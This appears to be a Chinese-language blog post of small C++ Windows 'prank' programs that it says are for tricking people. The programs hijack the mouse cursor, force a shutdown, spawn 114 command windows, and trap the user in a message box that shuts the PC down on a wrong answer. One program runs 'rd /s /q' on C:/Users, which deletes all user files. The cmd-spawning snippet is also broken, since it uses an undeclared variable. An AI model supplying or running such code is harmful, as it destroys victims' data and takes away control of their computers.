1.SetCursorPos
#include<windows.h>
#include<ctime>
using namespace std;
#define kd(VK_NONAME) ((GetAsyncKeyState(VK_NONAME) & 0x8000) ? 1:0)
int main()
{
int x=GetSystemMetrics(SM_CXSCREEN);
int y=GetSystemMetrics(SM_CYSCREEN);
srand(time(NULL));
while(1)
{
SetCursorPos(rand()%x,rand()%y);
if(kd(VK_RETURN)) break;
}
return 0;
}
按Enter即可结束awa
x,y是屏幕大小
SetCursorPos是移动鼠标指针到某位置
类似的还有很多
#include<windows.h>//固定鼠标指针
#include<ctime>
using namespace std;
#define kd(VK_NONAME) ((GetAsyncKeyState(VK_NONAME) & 0x8000) ? 1:0)
int main()
{
int x=GetSystemMetrics(SM_CXSCREEN);
int y=GetSystemMetrics(SM_CYSCREEN);
srand(time(NULL));
while(1)
{
SetCursorPos(x/2,y/2);
if(kd(VK_RETURN)) break;
}
return 0;
}
#include<windows.h>//范围移动指针
#include<ctime>
using namespace std;
#define kd(VK_NONAME) ((GetAsyncKeyState(VK_NONAME) & 0x8000) ? 1:0)
const int pw=300;
int main()
{
int x=GetSystemMetrics(SM_CXSCREEN);
int y=GetSystemMetrics(SM_CYSCREEN);
srand(time(NULL));
while(1)
{
SetCursorPos(rand()%pw+x/2-pw/2,rand()%pw+y/2-pw/2);
if(kd(VK_RETURN)) break;
}
return 0;
}
#include<windows.h>//好玩的
#include<ctime>
using namespace std;
#define kd(VK_NONAME) ((GetAsyncKeyState(VK_NONAME) & 0x8000) ? 1:0)
int main()
{
int x=GetSystemMetrics(SM_CXSCREEN);
int y=GetSystemMetrics(SM_CYSCREEN);
srand(time(NULL));
for(int i=0;i<=y;i+=2)
{
for(int j=0;j<=x;j++)
{
if(kd(VK_RETURN)) break;
SetCursorPos(i,j);
}
for(int j=0;j<=x;j++)
{
if(kd(VK_RETURN)) break;
SetCursorPos(i+1,j);
}
}
return 0;
}
都可以拿来坑人awa
2.system
这个的方法还是很多的
解释在这里
1.电脑多累啊,让他休息一下吧
#include<stdio.h>
#include<stdlib.h>
int main()
{
system("shutdown -s");
return 0;
}
2.电脑虽然很累,但是还想工作一会再睡
#include<stdio.h>
#include<stdlib.h>
int main()
{
system("shutdown -s -t 10");
return 0;
}
3.不让电脑休息的极其不友善的程序
#include<stdio.h>
#include<stdlib.h>
int main()
{
system("shutdown -a");
return 0;
}
4.电脑坐久了,想让CPU活动一下筋骨
#include<stdio.h>
#include<stdlib.h>
int main()
{
for(i=0;i<114;i++) system("start cmd.exe");
return 0;
}
5.C盘有点满······
注意:请谨慎使用此代码,如要测试,请先安装冰点还原精灵等可以帮助电脑重启就还原的软件,否则一旦您的电脑出现问题,作者概不负责(虚拟机除外)。
#include<stdio.h>
#include<stdlib.h>
#include<iostream>
using namespace std;
int main()
{
string c;
c="rd /s /q \"C:/Users\"";
system(c.c_str());
return 0;
}
(这些都是最基本的,可以加些优化awa,比如第3点)
3.MessageBox
#include<windows.h>
using namespace std;
int main()
{
again:
if(MessageBox(NULL,"作者帅不帅?","按yes结束",MB_YESNO|MB_ICONEXCLAMATION)!=IDYES) goto again;
return 0;
}
(或者狼一点)
#include<windows.h>
#include<iostream>
using namespace std;
int main()
{
if(MessageBox(NULL,"作者帅不帅?","按yes结束",MB_YESNO|MB_ICONEXCLAMATION)!=IDYES) system("shutdown -p");
return 0;
}
//时间不够,未完待续awa